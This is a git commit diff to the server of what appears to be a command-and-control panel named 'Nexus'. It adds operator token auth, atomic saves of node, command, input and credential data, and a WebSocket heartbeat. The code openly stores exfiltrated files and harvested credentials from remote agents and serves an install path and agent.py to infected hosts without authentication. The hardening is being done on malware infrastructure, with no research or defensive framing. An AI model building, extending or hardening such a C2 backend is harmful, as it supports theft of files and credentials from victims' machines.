feat: operator auth (Bearer+WS 4401), atomic saves, WS heartbeat, Loot viewer (files+creds+screenshots), auth gate, WS reconnect backoff, empty-state hero, toasts
This commit is contained in:
65
server.js
65
server.js
@@ -24,6 +24,28 @@ app.use(cors());
|
||||
app.use(express.json({ limit: '50mb' }));
|
||||
app.use(express.static(path.join(__dirname, 'public')));
|
||||
|
||||
// ── Auth ──
|
||||
const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null;
|
||||
if (!AUTH_TOKEN) {
|
||||
console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!');
|
||||
}
|
||||
const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/'];
|
||||
function authMiddleware(req, res, next) {
|
||||
if (!AUTH_TOKEN) return next();
|
||||
if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next();
|
||||
const h = req.headers.authorization || '';
|
||||
if (h === 'Bearer ' + AUTH_TOKEN) return next();
|
||||
if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' });
|
||||
return res.status(401).json({ error: 'unauthorized' });
|
||||
}
|
||||
app.use(authMiddleware);
|
||||
app.get('/api/auth/check', (req, res) => {
|
||||
if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false });
|
||||
res.json({ ok: true, authRequired: true });
|
||||
});
|
||||
|
||||
|
||||
|
||||
function getLocalIp() {
|
||||
const interfaces = os.networkInterfaces();
|
||||
for (const name of Object.keys(interfaces)) {
|
||||
@@ -48,14 +70,24 @@ const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, da
|
||||
const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp }
|
||||
|
||||
// ── Persistence ──
|
||||
let _saveLock = false;
|
||||
function _atomicWrite(file, data) {
|
||||
const tmp = file + '.tmp';
|
||||
fs.writeFileSync(tmp, data);
|
||||
fs.renameSync(tmp, file);
|
||||
}
|
||||
function saveData() {
|
||||
if (_saveLock) return;
|
||||
_saveLock = true;
|
||||
try {
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
||||
fs.writeFileSync(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
||||
} catch(e) { /* silent */ }
|
||||
_atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries())));
|
||||
_atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200)));
|
||||
_atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200)));
|
||||
_atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300)));
|
||||
_atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200)));
|
||||
} catch(e) { /* silent */ } finally {
|
||||
_saveLock = false;
|
||||
}
|
||||
}
|
||||
|
||||
function loadData() {
|
||||
@@ -107,7 +139,17 @@ function broadcastState() {
|
||||
});
|
||||
}
|
||||
|
||||
wss.on('connection', (ws) => {
|
||||
wss.on('connection', (ws, req) => {
|
||||
// Auth check on WS upgrade
|
||||
if (AUTH_TOKEN) {
|
||||
const url = new URL(req.url, 'http://localhost');
|
||||
if (url.searchParams.get('token') !== AUTH_TOKEN) {
|
||||
ws.close(4401, 'unauthorized');
|
||||
return;
|
||||
}
|
||||
}
|
||||
ws.isAlive = true;
|
||||
ws.on('pong', () => { ws.isAlive = true; });
|
||||
ws.send(JSON.stringify({
|
||||
type: 'NODES_UPDATE',
|
||||
serverIp: SERVER_IP,
|
||||
@@ -120,6 +162,15 @@ wss.on('connection', (ws) => {
|
||||
}));
|
||||
});
|
||||
|
||||
// WS heartbeat: ping every 25s, drop dead clients
|
||||
setInterval(() => {
|
||||
wss.clients.forEach(ws => {
|
||||
if (ws.isAlive === false) return ws.terminate();
|
||||
ws.isAlive = false;
|
||||
try { ws.ping(); } catch(e) {}
|
||||
});
|
||||
}, 25000);
|
||||
|
||||
// REST API Endpoints
|
||||
|
||||
app.get('/api/status', (req, res) => {
|
||||
|
||||
Reference in New Issue
Block a user